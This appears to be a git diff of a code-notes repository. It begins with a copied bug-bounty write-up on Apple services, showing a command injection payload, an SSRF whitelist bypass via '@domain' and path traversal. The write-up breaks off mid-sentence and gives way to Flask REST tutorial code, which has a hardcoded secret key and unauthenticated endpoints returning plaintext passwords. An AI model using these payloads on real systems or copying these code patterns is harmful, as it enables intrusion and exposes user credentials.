+Overall, an attacker could've abused this to... + +* Create a worm that has the capability to silently exfiltrate/modify iCloud account information including photos and videos +* Silently execute arbitrary HTML and JavaScript within the victim's browser + +### Command Injection in Author’s ePublisher + +A major feature of Apple is the ability to upload and sell books, movies, tv shows, and songs. The files you upload get propagated to various Apple services such as iTunes where people can download or purchase them. This seemed like a good vector for customer XSS and blind XSS against employees. + +In order to upload files, we first had to apply for access to the service on iTunes Connect. + +We ran into an interesting problem where we did not have access to an iPad or iPhone, but we kept on looking for ways to use this service still. After some investigating, we discovered a tool called Transporter. + +[Transporter](https://help.apple.com/itc/transporteruserguide/#/) is a Java app that can be used to interact with a jsonrpc API for bulk uploading files utilizing a few different file services. + +At the same time, we were also looking through the iTunes Connect Book [help docs](https://itunespartner.apple.com/books/) and we found a page that explained a few different ways to upload books including an online web service: [https://itunespartner.apple.com/books/articles/submit-your-ebook-2717](https://itunespartner.apple.com/books/articles/submit-your-ebook-2717) + +This led us to the following service, [Apple Books for Authors](https://authors.apple.com/epub-upload). + +This service only has a couple of features: + +* Sign-in / Register +* Upload images for book cover +* Upload book ePub file +* Upload book Sample ePub file + +The first thing we did was download sample epub files and upload them. Funny enough, the first epub file we grabbed was an epub version 1 format with invalid xhtml. The publish tool spit out a huge wall of text of errors to let us know why it failed to upload/validate. + +**HTTP Request:** + + POST /api/v1/validate/epub HTTP/1.1 + Host: authors.apple.com + {"epubKey":"2020_8_11/10f7f9ad-2a8a-44aa-9eec-8e48468de1d8_sample.epub","providerId":"BrettBuerhaus2096637541"} + +**HTTP Response:** + + [2020-08-11 21:49:59 UTC]
    DBG-X: parameter TransporterArguments = -m validateRawAssets -assetFile /tmp/10f7f9ad-2a8a-44aa-9eec-8e48468de1d8_sample.epub -dsToken **hidden value** -DDataCenters=contentdelivery.itunes.apple.com -Dtransporter.client=BooksPortal -Dcom.apple.transporter.updater.disable=true -verbose eXtreme -Dcom.transporter.client.version=1.0 -itc_provider BrettBuerhaus2096637541 + +As you can probably guess at this point, all we had to do was a simple command injection on the provderId JSON value. + +We intercepted the request on the next upload and replaced it with: + + "providerId":"BrettBuerhaus2096637541||test123" + +And we got the following output: + + /bin/sh: 1: test123: not found + +The following is a screenshot showing the output of "_ls /_": + +![pic](https://i.imgur.com/njo88pO.png) + +Overall, an attacker could've abused this to... + +* Execute arbitrary commands on the authors.apple.com webserver +* Access Apple's internal network + +This was a good exercise in making sure you fully explore what you are testing. A lot of the big names in recon research talk about creating mind maps and this is an example of that. We started with iTunes Connect, started exploring Books, and continued to branch out until we fully understood what services exist around that single feature. + +It also is a good reminder that you need to find as much information as possible before you start going down rabbit-holes while testing. Without exploring the help docs, you may have missed the web epub app entirely as it is a single link on one page. + +### Full Response SSRF on iCloud allows Attacker to Retrieve Apple Source Code + +The most elusive bug while hacking on Apple was full response SSRF. We found nearly a dozen blind or semi-blind SSRFs, but had a terribly hard time trying to find any way to retrieve the response. This was incredibly frustrating as during our recon process we found tons of references to what appeared to be awesome internal applications for source code management, user management, information lookup, and customer support. + +It wasn’t until the end of our engagement when we finally stumbled upon one which seemed to have a great deal of internal network access. + +During testing the iCloud application we noticed that you could open up certain attachments from the iCloud mail application in the iCloud pages application via the “Open in Pages” functionality. When you submitted the form to do this, it sent an HTTP request containing a URL parameter which included the URL of the mail file attachment in the request. If you attempted to modify this URL to something arbitrary, the request would fail and give a “400 Bad Request” error. The process would create a “job” where the response of the HTTP request was converted into an Apple Pages document, then opened in a new tab. + +![pic](https://i.imgur.com/g6oTd8y.png) + +It seemed to only allow URLs from the “p37-mailws.icloud.com” domain, would not convert pages with anything but a 200 OK HTTP response, and would additionally be a bit hard to test as the conversion process was done through multiple HTTP requests and a job queue. + +![pic](https://i.imgur.com/FCrEKbj.png) + +What worked to exploit this was appending “@ourdomain.com” after the white-listed domain which would point the request at our domain. The process would convert the raw HTML to an Apple pages file then display it to us in a new window. This was a bit annoying to fuzz with, so Brett ended up throwing together a python script to automate the process. + +[https://gist.github.com/samwcyo/f8387351ce9acb7cffce3f1dd94ce0d6](https://gist.github.com/samwcyo/f8387351ce9acb7cffce3f1dd94ce0d6) + +Our proof of concept for this report was demonstrating we could read and access Apple’s internal maven repository. We did not access any source code nor was this ever exploited by other actors. + +If the file was too large to be saved to a Pages file, it would instead be stored to the drive in a downloadable zip file which would allow us to extract large files like jars and zips. + +We had found the internal maven URL disclosed in a Github repository. + +![pic](https://i.imgur.com/gzyxzAr.png) + +There were many other internal applications we could’ve pulled from, but since we demonstrated access to the Maven repository with source code access we reported the issue right away. + +Overall, an attacker could've abused this to... + +* Read the various iOS source code files within the maven repository +* Access anything else available within Apple's internal network +* Fully compromise a victim's session via a cross-site scripting vulnerability due to the disclosed HTTP only cookies within the HTTP request + +The full process that had to be followed when scripting this is as follows: + +![pic](https://secureservercdn.net/198.71.233.25/623.f31.myftpupload.com/wp-content/uploads/2020/08/process.png) + +### Nova Admin Debug Panel Access via REST Error Leak + +While going through a list of all Apple subdomains one at a time, we discovered some interesting functionality from "concierge.apple.com", "s.apple.com", and "events.apple.com". + +With a little bit of Google dorking, we found that a specific request to "s.apple.com" would take you to "events.apple.com" with an authentication token. + +**HTTP Request:** + + GET /dQ{REDACTED}fE HTTP/1.1 + Host: s.apple.com + +**HTTP Response:** + + HTTP/1.1 200 + Server: Apple + Location: https://events.apple.com/content/events/retail_nso/ae/en/applecampathome.html?token=fh{REDACTED}VHUba&a=1&l=e + +Performing our standard recon techniques, we grabbed the JavaScript files and started looking for endpoints and API routes. + +![pic](https://i.imgur.com/Khvao1e.png) + +Discovering a /services/public/account endpoint, we started to play around with it. We quickly discovered that passing in an invalid marketCode parameter resulted in the server returning a REST exception error. + +**HTTP Request:** + +![pic](https://secureservercdn.net/198.71.233.25/623.f31.myftpupload.com/wp-content/uploads/2020/08/request_x-1.png) + +**HTTP Response:** + +![pic](https://secureservercdn.net/198.71.233.25/623.f31.myftpupload.com/wp-content/uploads/2020/08/edit_me_now-1.png) + +From the error message we can see the server is forwarding an API request to the following location: + + https://nova-admin.corp.apple.com/services/locations/searchLocation?locationName=t&rtm=1 + +We can also see that it leaked some request/response headers including a nova-admin cookie and an authorization token that the server is sending to make requests to nova-admin.corp.apple.com API requests. + +Also interesting is that the /services/ endpoint is similar to the /services/public/ API endpoints for the events app. We could not hit the endpoints on the event app and we did not have access to nova-admin.corp.apple.com. Going back to our recon data, we noticed that there is a nova.apple.com. + +Attempting to use the acquired auth token and cookie, we noted that the credentials were valid as we were no longer being redirected to idsmac auth, but it was still 403 forbidden. + +With a little bit of fuzzing, we discovered that we were able to hit /services/debug.func.php. + +Even though it was not a website with PHP extensions, it appeared adding any extension to the debug route would bypass the route restrictions they built since the authorization was separate from the functionality itself. + +**HTTP Request:** + +![pic](https://secureservercdn.net/198.71.233.25/623.f31.myftpupload.com/wp-content/uploads/2020/08/last_one.png) + +**HTTP Response:** + +![pic](https://secureservercdn.net/198.71.233.25/623.f31.myftpupload.com/wp-content/uploads/2020/08/new_two-1.png) + +This portal contained dozens of options, also contained several hundred configuration parameters and values. + +![pic](https://secureservercdn.net/198.71.233.25/623.f31.myftpupload.com/wp-content/uploads/2020/08/pasted-image-0-1.png) + +One of the values also contained an AWS secret key, another contained server crontabs. Having the ability to update these values was enough to prove command injection. + +![pic](https://secureservercdn.net/198.71.233.25/623.f31.myftpupload.com/wp-content/uploads/2020/08/pasted-image-0-3.png) + +Overall, an attacker could've abused this to... + +* Execute arbitrary commands on the nova.apple.com webserver +* Access Apple's internal network + +At this point, we decided we had proven enough impact and stopped. The full flow from above is as follows: + +![pic](https://secureservercdn.net/198.71.233.25/623.f31.myftpupload.com/wp-content/uploads/2020/08/diagram-1.png) + +### AWS Secret Keys via PhantomJS iTune Banners and Book Title XSS + +We discovered the iTunes banner maker website a few weeks prior to finding this vulnerability. It was not until we added a book via iTunes Connect did we discover an interesting feature on the banner maker. + +[![pic](https://i.imgur.com/a94Z6xV.png)](https://banners.itunes.apple.com/us/catalog) + +There are multiple banner image formats based on the height and width specified. We discovered that the "300x250" banner image included the book name. + +We also noticed that it was vulnerable to Cross-Site Scripting because the book name was underlined with our injected "" element which we had set whilst registering the book on iTunes connect. + +![pic](https://i.imgur.com/KvHUtLU.png) + +Image URL: + + https://banners.itunes.apple.com/bannerimages/banner.png?pr=itunes&t=catalog_black&c=us&l=en-US&id=1527342866&w=300&h=250&store=books&cache=false + +Earlier we had already discovered that there was path traversal and parameter injection in a few of the request parameters such as "pr". For example: + + https://banners.itunes.apple.com/bannerimages/banner.png?pr=itunes/../../&t=catalog_black&c=us&l=en-US&id=1527342866&w=300&h=250&store=books&cache=false + +Results in a picture of the AWS S3 error page: + +![pic](https://secureservercdn.net/198.71.233.25/623.f31.myftpupload.com/wp-content/uploads/2020/08/banner.png) + +From here we made the assumption that they were using a headerless browser client to take screenshots of HTML files inside of an S3 bucket. So the next step was to create a book with + + + +``` + +> There are two requests for each URL. The initial request is a regular HTTP GET request, which renders the template, including the AJAX codes, but without any items. +> When the page is fully loaded, an AJAX request is sent again to request for the items, and placed inside the document. +> Turn on the web browser's developer console to trace the `request/response` messages. +> Also, try using firefox's plug-in 'HttpRequester' to trigger a AJAX GET request. + + + + +## 1.3 Flask-RESTful Extension +Reference: [Flask-RESTful](https://flask-restful-cn.readthedocs.org/en/0.3.4/). + +Flask-RESTful is an extension for building REST APIs for Flask app, which works with your existing ORM. + +**Installing Flask-RESTful** +```bash +# Activate your virtual environment +(venv)$ pip install flask-restful +Successfully installed aniso8601-1.2.0 flask-restful-0.3.5 python-dateutil-2.6.0 pytz-2016.10 + +(venv)$ pip show flask-restful +Name: Flask-RESTful +Version: 0.3.5 +Summary: Simple framework for creating REST APIs +Requires: Flask, aniso8601, pytz, six +``` + +**Flask-Restful Example 1: Using Flask-Restful Extension** + +```py +# frestful_eg1: +# Flask-Restful Example 1 - Using Flask-Restful Extension +from flask import Flask, abort +from flask_restful import Api, Resource + +class Item(Resource): + # For get, update, delete of a particular item via URL /api/item/. + def get(self, item_id): + return 'reading item {}'.format(item_id), 200 + + def delete(self, item_id): + return 'delete item {}'.format(item_id), 204 # No Content + + def put(self, item_id): # or PATCH + # Request data needed for update + return 'update item {}'.format(item_id), 200 + +class Items(Resource): + # For get, post via URL /api/item/, meant for list-all and create new. + def get(self): + return 'list all items', 200 + + def post(self): + # Request data needed for create + return 'create a new post', 201 # Created + +app = Flask(__name__) +api_manager = Api(app) +# Or, +#api_manager = Api() +#api_manager.init_app(app) + +api_manager.add_resource(Item, '/api/item/', endpoint='item') +api_manager.add_resource(Items, '/api/item/', endpoint='items') +# endpoint specifies the view function name for the URL route + + +if __name__ == '__main__': + app.run(debug=True) +``` + +define two URLs: +- `/api/item/` for get-all and create-new via GET and POST methods; +- and `/api/item/` for `get, update, delete via GET, PUT, and DELETE` methods. + +We extend the Resource class to support all these methods. +In this example, we did not use an actual data model. + +To send POST/PUT/DELETE requests, you can use +- the command-line curl (which is rather hard to use); +- or browser's extension such as Firefox's HttpRequester, +- or Chrome's Advanced REST client, user-friendly graphical interface. + +For example, use Firefox's HttpRequester to send the following requests: +- GET request to `https://localhost:5000/api/item/` to list all items. +- GET request to `https://localhost:5000/api/item/1` to list one item. +- POST request to `https://localhost:5000/api/item/` to create a new item. +- PUT request to `https://localhost:5000/api/item/1` to update one item. +- DELETE request to `https://localhost:5000/api/item/1` to delete one item. + + +**Sending AJAX-POST/PUT/PATCH/DELETE HTTP Requests** +When you enter a URL on a web browser, an HTTP GET request is sent. +You can send a POST request via an HTML Form. +There are a few ways to test PUT/PATCH/DELETE/Ajax-POST requests: + +1. Via web browser's plug-in such as Firefox's HttpRequester. +2. Via client-side script in JavaScript/jQuery/AngularJS +3. Via Flask client, e.g., + +4. Via the curl command, e.g., + +```bash +# Show manual page +$ man curl +... manual page ... +# Syntax is: $ curl options url + +# Send GET request +# reading item 1 +$ curl --request GET https://localhost:5000/api/item/1 + +# Send DELETE request. To include the response header +$ curl --include --request DELETE https://localhost:5000/api/item/1 +# HTTP/1.0 204 NO CONTENT +# Content-Type: application/json +# Content-Length: 0 +# Server: Werkzeug/0.11.15 Python/3.5.2 +# Date: Thu, 16 Mar 2017 02:44:11 GMT + +# Send PUT request, with json data and additional header +# update item 1 +$ curl --include --request PUT --data '{"price":"9.99"}' + --Header "Content-Type: application/json" https://localhost:5000/api/item/1 +# HTTP/1.0 200 OK +# Content-Type: application/json +# Content-Length: 16 +# Server: Werkzeug/0.11.15 Python/3.5.2 +# Date: Thu, 16 Mar 2017 03:00:43 GMT +``` + +--- + + + + + +ref +- [Python Developing Web Applications with Flask](https://www3.ntu.edu.sg/home/ehchua/programming/webprogramming/Python3_Flask.html#zz-8.) +- [Build a Python REST API Server for Quick Mocking](https://stoplight.io/blog/python-rest-api/) +- [good: youtube](https://www.youtube.com/watch?v=iQVvpnRYl-w&list=PLVUt86LpSCWgEe5EZsRomCTcwUH5dP-2x&index=3&ab_channel=MVPEngineer) +- [authentication](https://github.com/MaBlaGit/REST_API_Flask) +- [RESTful Setup Instructions](https://www.se.rit.edu/~swen-344/03/projects/rest-setup/) +- [RESTful API Project](https://www.se.rit.edu/~swen-344/03/projects/rest/) +- [Designing a RESTful API to interact with a simple SQLite database](https://subscription.packtpub.com/book/application_development/9781786462251/1/ch01lvl1sec7/designing-a-restful-api-to-interact-with-a-simple-sqlite-database) +- [mobile](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05d-Testing-Data-Storage.md) +- [final!!!](https://www.youtube.com/watch?v=MAt-mRJk4rw&list=PLS1QulWo1RIZ6OujqIAXmLR3xsDn_ENHI&index=2&ab_channel=ProgrammingKnowledge) +- [youtubcc](https://www.youtube.com/c/PrettyPrintedTutorials/search?query=flask) +- [Flask-Login: Remember Me and Fresh Logins](https://www.youtube.com/watch?v=CRvV9nFKoPI&ab_channel=PrettyPrinted) +- [Password Hashing with Flask Tutorial](https://pythonprogramming.net/password-hashing-flask-tutorial/) +- [youtu-6!!!](https://www.youtube.com/watch?v=8PPvgexhmYg&list=PLS1QulWo1RIZ6OujqIAXmLR3xsDn_ENHI&index=6&ab_channel=ProgrammingKnowledge) +- [Flask Rest API -Part:2- Better Structure with Blueprint and Flask-restful #flask #python #mongodb #beginners](https://dev.to/paurakhsharma/flask-rest-api-part-2-better-structure-with-blueprint-and-flask-restful-2n93) +- [youtuve Python Projects | Flask REST API with Sqlite Database in 100 lines](https://www.youtube.com/watch?v=Sf-7zXBB_mg&list=PLVUt86LpSCWgEe5EZsRomCTcwUH5dP-2x&index=2&ab_channel=MVPEngineer) + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/API/code/code-noAuth/api.db b/_posts/00CodeNote/language/Python/API/code/code-noAuth/api.db new file mode 100644 index 00000000000..1ae17752899 Binary files /dev/null and b/_posts/00CodeNote/language/Python/API/code/code-noAuth/api.db differ diff --git a/_posts/00CodeNote/language/Python/API/code/code-noAuth/api.py b/_posts/00CodeNote/language/Python/API/code/code-noAuth/api.py new file mode 100644 index 00000000000..5c1251f908d --- /dev/null +++ b/_posts/00CodeNote/language/Python/API/code/code-noAuth/api.py @@ -0,0 +1,86 @@ +from flask import Flask, jsonify, make_response, request + +api = Flask(__name__) + +user1 = { + "username": "gh0st", + "Firstname Lastname": "William L. Simon", + "password": "", + "Mother’s Favorite Search Engine": "Searx", +} + +user2 = { + "username": "jet-setter", + "Firstname Lastname": "Frank Abignale", + "password": "r0u7!nG", + "Mother’s Favorite Search Engine": "Bing", +} + +user3 = { + "username": "kvothe", + "Firstname Lastname": "Patrick Rothfuss", + "password": "3##Heel7sa*9-zRwT", + "Mother’s Favorite Search Engine": "Duck Duck Go", +} + +user4 = { + "username": "tpratchett", + "Firstname Lastname": "Terry Pratchett", + "password": "Thats Sir Terry to you!", + "Mother’s Favorite Search Engine": "Google", +} + +user5 = { + "username": "lmb", + "Firstname Lastname": "Lois McMaster Bujold", + "password": "null", + "Mother’s Favorite Search Engine": "Yandex", +} + +userlist = { + "gh0st": user1, + "jet-setter": user2, + "kvothe": user3, + "tpratchett": user4, + "lmb": user5, +} + + +# operation on the all user information +@api.route("/api/userlist", methods=["GET", "POST"]) +def for_userlist(): + if request.method == "GET": + return make_response(jsonify(userlist), 200) + if request.method == "POST": + # ensure we get the response form the request + content = request.json + user_username = content["username"] + userlist[user_username] = content + user_new = userlist.get(user_username, {}) + return make_response(jsonify(user_new), 201) + + +# operation on a single user information +@api.route("/api/userlist/", methods=["GET", "PUT", "DELETE"]) +def singal_user(user_username): + if request.method == "GET": + user = userlist.get(user_username, {}) + if user: + return make_response(jsonify(user), 200) + else: # username not exits + return make_response(jsonify({}), 404) + if request.method == "PUT": + content = request.json + userlist[user_username] = content + user = userlist.get(user_username, {}) + return make_response(jsonify(user), 200) + if request.method == "DELETE": + if user_username in userlist.keys(): + del userlist[user_username] + return make_response(jsonify({}), 204) + else: # username not exits + return make_response(jsonify({}), 404) + + +if __name__ == "__main__": + api.run() diff --git a/_posts/00CodeNote/language/Python/API/code/code-noAuth/apidb.py b/_posts/00CodeNote/language/Python/API/code/code-noAuth/apidb.py new file mode 100644 index 00000000000..054e3fae63b --- /dev/null +++ b/_posts/00CodeNote/language/Python/API/code/code-noAuth/apidb.py @@ -0,0 +1,107 @@ +import dataset +from flask import Flask, jsonify, make_response, request +from flask_bcrypt import Bcrypt + +api = Flask(__name__) +bcrypt = Bcrypt(api) +db = dataset.connect("sqlite:///api.db") +table = db["userlist"] + +# function that fetch the db + + +def fetch_one_db(user_username): + return table.find_one(username=user_username) + + +def fetch_all_db(): + usersinfo = [] + for user in table: + usersinfo.append(user) + return usersinfo + + +# add the user in to the table +@api.route("/api/creatdefaultuser", methods=["GET"]) +def db_creatdefaultuser(): + table.insert( + { + "username": "gh0st", + "Firstname Lastname": "William L. Simon", + "password": "", + "Mother’s Favorite Search Engine": "Searx", + } + ) + table.insert( + { + "username": "jet-setter", + "Firstname Lastname": "Frank Abignale", + "password": "r0u7!nG", + "Mother’s Favorite Search Engine": "Bing", + } + ) + table.insert( + { + "username": "kvothe", + "Firstname Lastname": "Patrick Rothfuss", + "password": "3##Heel7sa*9-zRwT", + "Mother’s Favorite Search Engine": "Duck Duck Go", + } + ) + table.insert( + { + "username": "tpratchett", + "Firstname Lastname": "Terry Pratchett", + "password": "Thats Sir Terry to you!", + "Mother’s Favorite Search Engine": "Google", + } + ) + table.insert( + { + "username": "lmb", + "Firstname Lastname": "Lois McMaster Bujold", + "password": "null", + "Mother’s Favorite Search Engine": "Yandex", + } + ) + return make_response(jsonify(fetch_all_db()), 200) + + +# operation on the all user information +@api.route("/api/userlist", methods=["GET", "POST"]) +def for_userlist(): + # GET all the user information + if request.method == "GET": + return make_response(jsonify(fetch_all_db()), 200) + # POST new user information + if request.method == "POST": + content = request.json + table.insert(content) + user_username = content["username"] + return make_response(jsonify(fetch_one_db(user_username)), 201) + + +# operation on a single user information +@api.route("/api/userlist/", methods=["GET", "PUT", "DELETE"]) +def singal_user(user_username): + # GET one user information + if request.method == "GET": + user = fetch_one_db(user_username) + if user: + return make_response(jsonify(user), 200) + else: # username not exits + return make_response(jsonify({}), 404) + # PUT update to one user information + if request.method == "PUT": + content = request.json + table.update(content, ["username"]) + user = fetch_one_db(user_username) + return make_response(jsonify(user), 200) + # DELETE one user information + if request.method == "DELETE": + table.delete(username=user_username) + return make_response(jsonify({}), 204) + + +if __name__ == "__main__": + api.run() diff --git a/_posts/00CodeNote/language/Python/API/code/code-noAuth/falconapi.py b/_posts/00CodeNote/language/Python/API/code/code-noAuth/falconapi.py new file mode 100644 index 00000000000..61f6175b985 --- /dev/null +++ b/_posts/00CodeNote/language/Python/API/code/code-noAuth/falconapi.py @@ -0,0 +1,20 @@ +import json + +import falcon + + +class CompaniesResource: + companies = [{"id": 1, "name": "Company One"}, {"id": 2, "name": "Company Two"}] + + def on_get(self, req, resp): + resp.body = json.dumps(self.companies) + + def on_post(self, req, resp): + resp.status = falcon.HTTP_201 + resp.body = json.dumps({"success": True}) + + +api = falcon.API() +companies_endpoint = CompaniesResource() + +api.add_route("/companies", companies_endpoint) diff --git a/_posts/00CodeNote/language/Python/API/code/code-noAuth/flaskapi copy.py b/_posts/00CodeNote/language/Python/API/code/code-noAuth/flaskapi copy.py new file mode 100644 index 00000000000..cf24913752b --- /dev/null +++ b/_posts/00CodeNote/language/Python/API/code/code-noAuth/flaskapi copy.py @@ -0,0 +1,25 @@ +from flask import Flask, json + +companies = [{"id": 1, "name": "Company One"}, {"id": 2, "name": "Company Two"}] + +# initialize Flask +# create a Flask object, and assign it to the variable name api. +api = Flask(__name__) + +# declare a route for endpoint. +# When a consumer visits /companies using a GET request, the list of two companies will be returned. + + +@api.route("/companies", methods=["GET"]) +def get_companies(): + return json.dumps(companies) + # status code wasn’t required because 200 is Flask’s default. + + +@api.route("/companies", methods=["POST"]) +def post_companies(): + return json.dumps({"success": True}), 201 + + +if __name__ == "__main__": + api.run() diff --git a/_posts/00CodeNote/language/Python/API/code/code-noAuth/flaskapi.py b/_posts/00CodeNote/language/Python/API/code/code-noAuth/flaskapi.py new file mode 100644 index 00000000000..da8f8d05490 --- /dev/null +++ b/_posts/00CodeNote/language/Python/API/code/code-noAuth/flaskapi.py @@ -0,0 +1,96 @@ +from flask import Flask, json + + +class User: + def __init__(self, username, FLname, password, Engine): + self.username = username + self.FLname = FLname + self.password = password + self.Engine = Engine + + def serialize(self): + return { + "username": self.username, + "Firstname Lastname": self.FLname, + "password": self.password, + "Mother’s Favorite Search Engine": self.Engine, + } + + # def get_usr_name(self): + # long_name = f"{self.year} {self.manufacturer} {self.model}" + # return long_name.title() + + # def read_odometer(self): + # print(f"This car has {self.odometer_reading} miles on it.") + + # def update_odometer(self, mileage): + # if mileage >= self.odometer_reading: + # self.odometer_reading = mileage else: + # print("You can't roll back an odometer!") + + # def increment_odometer(self, miles): + # self.odometer_reading += miles + + +usr1 = { + "username": "gh0st", + "Firstname Lastname": "William L. Simon", + "password": "", + "Mother’s Favorite Search Engine": "Searx", +} + +usr2 = { + "username": "jet-setter", + "Firstname Lastname": "Frank Abignale", + "password": "r0u7!nG", + "Mother’s Favorite Search Engine": "Bing", +} + +usr3 = { + "username": "kvothe", + "Firstname Lastname": "Patrick Rothfuss", + "password": "3##Heel7sa*9-zRwT", + "Mother’s Favorite Search Engine": "Duck Duck Go", +} + +usr4 = { + "username": "tpratchett", + "Firstname Lastname": "Terry Pratchett", + "password": "Thats Sir Terry to you!", + "Mother’s Favorite Search Engine": "Google", +} + +usr5 = { + "username": "lmb", + "Firstname Lastname": "Lois McMaster Bujold", + "password": "null", + "Mother’s Favorite Search Engine": "Yandex", +} + +usrlist = { + "gh0st": usr1, + "jet-setter": usr2, + "kvothe": usr3, + "tpratchett": usr4, + "lmb": usr5, +} +# print(usrlist) + +# initialize Flask +api = Flask(__name__) + +# declare a route for endpoint. +# When a consumer visits /usrlist using a GET request, the list of two usrlist will be returned. +@api.route("/usr/usrlist", methods=["GET"]) +def get_usrlist(): + return json.dumps(usrlist) + # status code wasn’t required because 200 is Flask’s default. + + +@api.route("/usr/usrlist", methods=["POST"]) +def post_usrlist(): + return json.dumps({"success": True}), 201 + + +if __name__ == "__main__": + api.run() diff --git a/_posts/00CodeNote/language/Python/API/code/code-noAuth/readme.md b/_posts/00CodeNote/language/Python/API/code/code-noAuth/readme.md new file mode 100644 index 00000000000..7f30a6eed2f --- /dev/null +++ b/_posts/00CodeNote/language/Python/API/code/code-noAuth/readme.md @@ -0,0 +1,127 @@ + +# REST API for User +This is a RESTful API that supports 4 operations: +- adding a user, +- authenticating, +- retrieving user details, +- and logging out. + +``` +movie-bag +│ app.py +| Pipfile +| Pipfile.lock +└───database + │ db.py + └───models.py +``` + +## Active endpoints + +### `/api/userlist/` + + +`GET /api/userlist/` +- GET request to **list ALL the users** (Database READ). +- Request data: NIL +- Response data: a list of users (JSON) +- Response Status Code for success: + - 200 OK +- Response Status Code for failure: + - 404 Not Found + +`POST /api/userlist/` +- POST request to **create a new user** (Database CREATE). +- Request data: `a new user (JSON)` +- Response data: URL of the created item, or the created item (JSON) +- Response Status Code for success: + - 201 Created +- Response Status Code for failure: + - 400 Bad Request + + +### `/api/user/` + +`GET /api/user/` +- GET request to **list ONE user with username** (Database READ). +- Request data: NIL +- Response data: a user (JSON) +- Response Status Code for success: + - 20O OK +- Response Status Code for failure: + - 400 Bad Request + +`PUT /api/user/` +- PUT request to **update ONE user with username** (Database UPDATE) +- Request data: selected fields of a user (JSON) +- Response data: URL of the updated item, or the updated item (JSON) +- Response Status Code for success: + - 200 OK +- Response Status Code for failure: + - 400 Bad Request + +`DELETE /api/user/` +- DELETE request to **delete ONE user with username** (Database DELETE). +- Response Status Code for success: + - 204: no content for the user anymore. + + +--- + +## Steps to run app and tests: +1. Install Python +2. Create virtualenv +3. Go to root folder of the project, install required modules: + +```bash +$ pip3 install dataset +$ pip3 install flask +$ pip3 install flask-bcrypt +``` + +4. To run app: + +> 4.1. the user data is in a text file (actully pre-defined inside the python code) + +```bash +# run the api +$ python api.py + +# check all userlist +$ http GET https://127.0.0.1:5000/api/userlist +# add a user to userlist +$ echo '{"username":"a", "Firstname Lastname":"ab", "password":"123", "Mother’s Favorite Search Engine":"c"}' | http POST https://127.0.0.1:5000/api/userlist +http GET https://127.0.0.1:5000/api/userlist/ + +# check userlist with username +$ http GET https://127.0.0.1:5000/api/userlist/a +# update userlist with username +$ echo '{"username":"a", "Firstname Lastname":"cd", "password":"345", "Mother’s Favorite Search Engine":"d"}' | http PUT https://127.0.0.1:5000/api/userlist/a +# delete userlist with username +$ http DELETE https://127.0.0.1:5000/api/userlist/a +``` + +> 4.2. the user data is in a sqlite db + +```bash +# run the api +$ python apidb.py + +# create the default user database +$ http GET https://127.0.0.1:5000/api/creatdefaultuser + +# check all userlist +$ http GET https://127.0.0.1:5000/api/userlist +# add a user to userlist +$ echo '{"username":"a", "Firstname Lastname":"ab", "password":"123", "Mother’s Favorite Search Engine":"c"}' | http POST https://127.0.0.1:5000/api/userlist +http GET https://127.0.0.1:5000/api/userlist/ + +# check userlist with username +$ http GET https://127.0.0.1:5000/api/userlist/a +# update userlist with username +$ echo '{"username":"a", "Firstname Lastname":"cd", "password":"345", "Mother’s Favorite Search Engine":"d"}' | http PUT https://127.0.0.1:5000/api/userlist/a +# delete userlist with username +$ http DELETE https://127.0.0.1:5000/api/userlist/a +``` + +> You can also use the Postman to test the api diff --git a/_posts/00CodeNote/language/Python/API/code/code3/__init__.py b/_posts/00CodeNote/language/Python/API/code/code3/__init__.py new file mode 100644 index 00000000000..3c0e2e8b10c --- /dev/null +++ b/_posts/00CodeNote/language/Python/API/code/code3/__init__.py @@ -0,0 +1,36 @@ +from flask import Flask +from flask_login import LoginManager +from flask_sqlalchemy import SQLAlchemy + +db = SQLAlchemy() + + +def create_app(): + app = Flask(__name__) + + app.config["SECRET_KEY"] = "secret-key" + app.config["SQLALCHEMY_DATABASE_URI"] = "sqlite:///db.sqlite" + app.config["SQLALCHEMY_TRACK_MODIFICATIONS"] = False + + db.init_app(app) + + # user loader to find id in the database + login_manager = LoginManager() + login_manager.login_view = "auth.login" # where to find the login code + login_manager.init_app(app) + + from .models import User + + @login_manager.user_loader + def load_user(db_id): + return User.query.get(int(db_id)) + + from .main import main as main_blueprint + + app.register_blueprint(main_blueprint) + + from .auth import auth as auth_blueprint + + app.register_blueprint(auth_blueprint) + + return app diff --git a/_posts/00CodeNote/language/Python/API/code/code3/auth.py b/_posts/00CodeNote/language/Python/API/code/code3/auth.py new file mode 100644 index 00000000000..cb6978ab304 --- /dev/null +++ b/_posts/00CodeNote/language/Python/API/code/code3/auth.py @@ -0,0 +1,126 @@ +from flask import (Blueprint, jsonify, make_response, redirect, + render_template, request, url_for) +from flask_login import current_user, login_required, login_user, logout_user +from werkzeug.security import check_password_hash, generate_password_hash + +from . import db +from .models import User + +auth = Blueprint("auth", __name__) + + +@auth.route("/adduser", methods=["GET"]) +def adduser(): + # return render_template('adduser.html') + return make_response("Add user Page", 200) + + +# http GET https://127.0.0.1:5000/adduser + + +@auth.route("/adduser", methods=["POST"]) +def adduser_post(): + # got the adduser info + content = request.json + username = content["username"] + fLname = content["Firstname Lastname"] + password = content["password"] + engine = content["Mother’s Favorite Search Engine"] + + # check the username, usery the database, get the first one + user = User.query.filter_by(db_username=username).first() + if user: + print("username already Exists") + return make_response( + jsonify( + { + "status": 400, + "Add user": False, + "Error Message": "username not available or already exsisted", + } + ), + 400, + ) + new_user = User( + db_username=username, + db_flname=fLname, + db_password=generate_password_hash(password, method="sha256"), + db_engine=engine, + ) + db.session.add(new_user) + db.session.commit() + # return render_template('adduser.html') + # return redirect(url_for('auth.login')) + return make_response(jsonify({"status": 200, "new_user": content}), 201) + + +# echo '{"username":"a", "Firstname Lastname":"x", "password":"123", "Mother’s Favorite Search Engine":"c"}' | http POST https://127.0.0.1:5000/adduser +# echo '{"username":"ab", "Firstname Lastname":"doubleuser", "password":"123", "Mother’s Favorite Search Engine":"c"}' | http POST https://127.0.0.1:5000/adduser + + +@auth.route("/login", methods=["GET"]) +def login(): + # return render_template('login.html') + return make_response("User Login Page", 200) + + +# http GET https://127.0.0.1:5000/login + + +@auth.route("/login", methods=["POST"]) +def login_post(): + content = request.json + username = content["username"] + password = content["password"] + # remember = True + user = User.query.filter_by(db_username=username).first() + # correct username and passwd: + if user and check_password_hash(user.db_password, password): + # login_user(user, remember=remember) + login_user(user) + username = user.db_username + flname = user.db_flname + engine = user.db_engine + userinfo = { + "username": username, + "Firstname Lastname": flname, + "Mother’s Favorite Search Engine": engine, + } + # return redirect(url_for('main.profile')) + return make_response( + jsonify( + { + "status": 